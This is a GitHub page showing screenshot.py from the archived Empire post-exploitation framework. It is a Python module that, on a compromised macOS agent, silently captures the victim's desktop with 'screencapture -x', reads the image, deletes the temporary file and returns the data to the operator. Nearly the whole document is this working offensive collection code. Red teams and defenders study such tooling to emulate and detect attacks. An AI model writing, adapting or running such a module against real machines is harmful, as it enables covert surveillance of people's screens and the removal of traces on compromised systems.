Sign in

This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

EmpireProject / **Empire** Public archive

Notifications Fork 2.8k Star 7.4k

Code Issues 64 Pull requests 37 Actions Projects Wiki Security Insig

Empire / lib / modules / python / collection / osx / **screenshot.py**

xorrior Repaired function definition for generate() de03f90 · 7 years ago

86 lines (68 loc) · 2.92 KB

Code Blame Raw

```python
class Module:

    def __init__(self, mainMenu, params=[]):

        # metadata info about the module, not modified during runtime
        self.info = {
            # name for the module that will appear in module menus
            'Name': 'Screenshot',

            # list of one or more authors for the module
            'Author': ['@harmj0y'],

            # more verbose multi-line description of the module
            'Description': ('Takes a screenshot of an OSX desktop using screencapture and returns t

            # True if the module needs to run in the background
            'Background': False,

            # File extension to save the file as
            'OutputExtension': "png",

            # if the module needs administrative privileges
            'NeedsAdmin': False,

            # True if the method doesn't touch disk/is reasonably opsec safe
            'OpsecSafe': False,

            # the module language
            'Language' : 'python',

            # the minimum language version needed
            'MinLanguageVersion' : '2.6',

            # list of any references/other comments
            'Comments': []
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent': {
                # The 'Agent' option is the only one that MUST be in a module
                'Description'   :   'Agent to execute module on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'SavePath': {
                'Description'   :   'Path of the temporary screenshot file to save.',
                'Required'      :   True,
                'Value'         :   '/tmp/out.png'
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        # During instantiation, any settable option parameters
        #   are passed as an object set to the module and the
        #   options dictionary is automatically set. This is mostly
        #   in case options are passed on the command line
        if params:
            for param in params:
                # parameter format is [Name, Value]
                option, value = param
                if option in self.options:
                    self.options[option]['Value'] = value

    def generate(self, obfuscate=False, obfuscationCommand=""):

        savePath = self.options['SavePath']['Value']

        script = """
# take a screenshot using screencapture
run_command('screencapture -x %s')
# base64 up resulting file, delete the file, return the base64 of the png output
#   mocked from the Empire screenshot module
f = open('%s', 'rb')
data = f.read()
f.close()
run_command('rm -f %s')
print data
""" % (savePath, savePath, savePath)

        return script
```